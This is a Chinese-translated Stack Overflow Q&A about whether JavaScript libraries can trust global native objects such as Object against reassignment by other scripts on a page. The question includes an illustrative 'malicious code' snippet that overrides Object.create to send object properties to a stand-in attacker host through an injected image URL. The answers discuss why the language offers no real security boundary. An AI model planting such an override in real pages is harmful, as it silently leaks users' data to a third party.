【问题标题】:Is it safe to rely on global native objects in JavaScript, particularly the Object one?在 JavaScript 中依赖全局本机对象是否安全,尤其是对象之一?
【发布时间】:2015-01-12 13:58:01
【问题描述】:

首先,我知道,依赖Array 构造函数通常是不受欢迎的,因为它可以被其他代码重新分配,这不是严格模式,而是应该使用数组文字[],因为如果他总是依赖原生的、真实的 Array(还有一些其他含义,但这是主要的)

但是如何处理Object?有些方法(createfreeze 等)只能通过 Object 标识符访问。

我查看了 AngularJS 的源代码,发现作者依赖于这些对象(ObjectFunction)不会被重新分配的假设,所以我得出结论,没有更好的方法。但我想听听更有经验的人的意见。

所以问题是:如何保护自己的代码与其他 javascript 代码一起使用,使其免受重新分配的全局原生对象的影响?

更新

我的问题是关于安全问题。因此,这是一种开发人员无法假设的情况:

  • 如果 Object 被重新分配,那么其他任何事情都不会正常工作,所以不用担心
  • 网站管理员会正确测试他在网站上包含的内容
  • 如果 Object 有一些方法并返回预期的结果,那么一切正常

请以这种情况为例:

// the malicious code
var oldObj = Object,
    Object = {
        create: function(proto) {
            var secretProps = 'http://malicioushost.com/?'
            for (var prop in proto) {
                secretProps += encodeURIComponent(prop) + '=' + encodeURIComponent(proto[prop]) + '&'
            }
            var secretImg = document.createElement('img')
            secretImg.src = secretProps
            document.body.appendChild(secretImg)
            return oldObj.create.call(oldObj, proto)
     }
}

// the non-malign code
var foo = Object.create({prop1: 'foo', prop2: 'bar'})

这里 Object.create 的行为与原来的完全一样

真诚地欣赏它。

【问题讨论】:

  • 使用模块系统,理想的显示模块模式来保护代码免受外部影响。 addyosmani.com/resources/essentialjsdesignpatterns/book
  • @XGreen 抱歉,我没听懂。假设我需要创建一个旨在与其他代码一起使用的库。我无权访问该代码。如果在我之前执行并重新分配Object,那么我的将无法正常工作
  • 我们在谈论哪个对象?
  • 我会说没关系。作为库开发人员,您依赖于在将使用您的库的应用程序中得到尊重的语言标准。此外,人们普遍认为修改原生 JavaScript 对象是不好的做法,会给未来的开发人员造成混乱等。如果某人的代码以 Object.create = function(){ alert("bla") } 开头,然后你的库失败了,那就是他们的问题不是你的。而且他们显然不值得你的超级英雄图书馆伙伴;)

标签: javascript security global-variables javascript-objects


【解决方案1】:

首先,我知道,依赖 Array 构造函数通常是不受欢迎的,因为它可以被其他代码重新分配

不。不赞成 Array 构造函数的原因是因为它比仅仅说 [] 更加冗长,而且界面令人困惑地不一致。 (具体来说,new Array(x).lengthx,如果 x 是数字,1 对于任何其他类型......呃。)

有些库会尝试获取一些全局变量的自己的副本,以便在主机页面碰巧定义了自己的变量 Objectundefined 时它们仍然可以工作,但无论如何它都不是无懈可击的。

如何保护自己的代码与其他 javascript 代码一起使用,使其免受重新分配的全局原生对象的影响?

这不是一个可以解决的问题。 JavaScript 没有提供足够的工具来建立有效的安全边界。几乎所有对象、方法和属性都可以被破坏。

(无论如何,在语言级别...使用浏览器,您可以使用跨域框架/沙盒,postMessage 等将代码保存在不同的上下文中。但是如果界面元素用户正在与受损的顶级页面进行交互,它仍然不太可能有太大帮助。)

【讨论】:

    【解决方案2】:

    我不确定语言规范是怎么说的,但从这里我可能会说不是。但是,我还要说,如果有人以这种方式弄乱你的 JavaScript 环境,那么你就没有足够一致的环境来完成任何有价值的事情,因此担心它是不值得的。

    var d,
      origObj,
      o1,
      o2,
      o3;
    
    origObj = Object;
    
    d = document.getElementById('objectorno');
    d.innerHTML = Object;
    
    o1 = Object.create({});
    d.innerHTML = d.innerHTML + '<br/><br/>' + o1;
    
    Object = null;
    
    d.innerHTML = d.innerHTML + '<br/><br/>' + Object;
    
    o2 = {
      aprop: "this is a property of an object"
    };
    d.innerHTML = d.innerHTML + '<br/><br/>' + o2.aprop;
    
    try {
      o3 = Object.create({});
      d.innerHTML = d.innerHTML + '<br/><br/>' + o3;
    } catch (e){
      d.innerHTML = d.innerHTML + '<br/><br/>No more Object.create()';
    }
    &lt;div id="objectorno"&gt;&lt;/div&gt;

    【讨论】:

    • 谢谢,但我最初担心的是一些恶意代码等,这些修改可能会被故意创建为做一些讨厌的事情。
    • @user907860 当然,如果有人获得了足够的访问权限来更改您的基础Object,那么您已经遇到了恶意代码漏洞?
    • 是的,但我想让我的产品更强大。因此,如果我的代码获取任何敏感数据,即使在这种情况下也不会危及它。
    【解决方案3】:

    如果您需要检查本机代码是否实际上是本机代码并且没有被覆盖,您可以在使用它们之前简单地检查它们:

    function isFuncNative(f) {
           return !!f && (typeof f).toLowerCase() == 'function' 
           && (f === Function.prototype 
           || /^\s*function\s*(\b[a-z$_][a-z0-9$_]*\b)*\s*\((|([a-z$_][a-z0-9$_]*)(\s*,[a-z$_][a-z0-9$_]*)*)\)\s*{\s*\[native code\]\s*}\s*$/i.test(String(f)));
    }
    

    然后

    if (isFuncNative(Object.create)){
        // Use Object.create
    } else {
       alert("You naughty boy!");
    }
    

    【讨论】:

    • 谢谢,但不幸的是,这不起作用。如果不法分子会这样做:Object.create.toString = function() {return 'function create() { [native code] }'},更不用说 Function.toString 方法的行为,据我所知,没有准确指定
    • 正如 Klors 所说。可能更值得让您的服务器更安全,这样攻击者就无法获得文件访问权限并且能够首先更改 object.create 实现。您现在所走的道路是一个非常深的洞,从拥有文件访问权限开始。即使您想到了什么可以阻止攻击者访问您的服务器而不更改您的综合前端安全检查器?
    • 我无权访问任何服务器。我正在开发一个库,它可能可用于某些业务应用程序,例如在线商店。而且我想让它更“防弹”,即使用户在他的网站上安装了一些恶意 php 插件
    • @user907860:提供这种安全性不是您图书馆的工作。用户自己需要关心他的服务器的安全性——如果它受到损害,你的 (js) 库将无法对此采取任何措施。
    • @Bergi ,感谢您的回复,这就像我最初怀疑在这种情况下我无能为力的支持,考虑到即使谷歌也没有这样做。但我不能承认,至少不应考虑在这种情况或类似情况下做任何事情。就像数组文字形式的 json 响应的错误一样:虽然建议服务器端开发人员以对象表示法形式返回响应,但可以说“提供这种安全性不是我的工作,如果用户使用旧浏览器”。
    猜你喜欢
    • 2014-05-12
    • 2019-03-02
    • 2019-08-26
    • 2012-09-23
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2011-01-28
    • 2017-02-17
    相关资源
    最近更新 更多